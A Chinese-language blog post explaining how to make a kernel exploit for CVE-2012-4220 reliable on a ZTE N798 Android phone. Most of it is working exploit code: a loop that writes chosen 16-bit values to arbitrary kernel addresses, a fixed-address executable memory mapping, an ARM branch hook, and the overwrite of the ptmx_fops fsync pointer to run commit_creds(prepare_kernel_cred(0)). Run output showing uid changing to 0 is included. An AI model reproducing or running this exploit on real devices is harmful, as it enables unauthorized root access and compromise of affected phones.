稳定利用CVE-2012-4220的方法

CVE-2012-4220 原理分析中简单的描述了一下libdiagexploit存在的问题,经过实际的测试,android-rooting-tools使用libdiagexploit是没法将值修改正确的。下面给出一种修正的方案,经过测试可以在ZTE N798 (CT_CN_N798+V1.0.0B09)上获取到了Root权限。

注意事项

利用之前需要清楚这个漏洞的功能和限制。

  1. 使用该漏洞可以向任意地址写入一个16位的值,范围是2~0xFFFF
  2. 修改为特定值需要循环调用该漏洞直到delayed_rsp_id的值是目标值。

所以,就是要控制好写入值,以及循环的次数。

由于对Linux不熟悉,获取Root权限方法沿用了libexploit中的方法。看起来,其获取Root权限的核心代码是在内核执行commit_creds_address(prepare_kernel_cred_address(0))。为了实现这一目标,libexploit企图利用各种漏洞修改ptmx_fops的结构体中+0x38处的一个函数地址,然后打开设备/dev/ptmx并调用fsync以获得在内核执行代码的权限。为了写入32位的地址,需要分别将目标地址的高位和地位写入。而且,高位和低位中不能出现0或者1。

利用代码

根据上述几点分析,更新的代码如下:

循环次数控制

为了准确的计算循环次数,每次都将计数重置为2,而且,为了防止将值修改到一半的时候由于其他程序调用,递增的时候使用了局部变量,最后再传入真正要写入的地址:

bool inject_value(void* address, uint16_t value) const {
  if (!is_valid())
    return false;
  if (value == 0 || value == 1) {
    return false;
  }
  // reset delayed_rsp_id to 2.
  auto ret = reset_delayed_rsp_id();
  if (ret < 0) {
    return false;
  }
  size_t loop_count = (value - 2) & 0xffff;
  int unused;
  for (size_t i = 0; i < loop_count; i++) {
    if (send_delay_params(&unused, &unused) < 0) {
      return false;
    }
  }
  send_delay_params(address, &unused);
  return true;
}

地址分配

一般来说用户态的elf都会加载到比较低的地址,高16bit是0。libexploit直接写入低16位会导致poc的稳定性很差,或者说肯定无法使用,从某个Bootloader来看内核会被加载到0xC0000000以上的地址。为了解决这个问题,目前的解决办法是预分配一块固定地址的内存,然后在里面写入跳转代码,让其跳回当前的模块中。

分配地址:

void* jump_address = reinterpret_cast<void*>(0x44444444);
auto alloc_buffer = mmap(jump_address,
                   0x1000,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANON,
                   -1,
                   0);

然后从这里抄一个hook:

void hijack_start(void *target, void *destination) {
  unsigned char branch_code[0xC];
  if ((unsigned long)target % 4 == 0) {
    // ldr pc, [pc, #0]; .long addr; .long addr
    memcpy(branch_code, "x00xf0x9fxe5x00x00x00x00x00x00x00x00", 0xC);
    *(unsigned long *)&branch_code[4] = (unsigned long)destination;
    *(unsigned long *)&branch_code[8] = (unsigned long)destination;
  } else {
    // add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr
    memcpy(branch_code, "x01xa0x00x68x87x46x87x46x00x00x00x00", 0xC);
    *(unsigned long *)&branch_code[8] = (unsigned long)destination;
    target--;
  }
  memcpy(target, branch_code, 0xC);
}

完成上述准备工作,就可以开始root了:

hijack_start(jump_address, (void*)obtain_root_privilege);
exploit.inject_value(ptmx_fops_fsync_address, 0x4444);
exploit.inject_value(reinterpret_cast<char>(ptmx_fops_fsync_address) + 2, 0x4444);
std::cout << "before exploit: " << getuid() << std::endl;
run_obtain_root_privilege();
std::cout << "After exploit: " << getuid() << std::endl;

执行的结果:

delayed_rsp_id_address  0xc08c05e8
ptmx_fops       0xc09c4138
Allocated buffer: 0x44444000
Before exploit: 7d0
After exploit: 0

这样,这个漏洞的利用就相对稳定了许多。当然,是在有符号、能获取到那些函数、结构体地址的情况下。

最后

不太理解的是,Android的内核居然可以直接执行用户空间的代码…

2 thoughts on “稳定利用CVE-2012-4220的方法

发表评论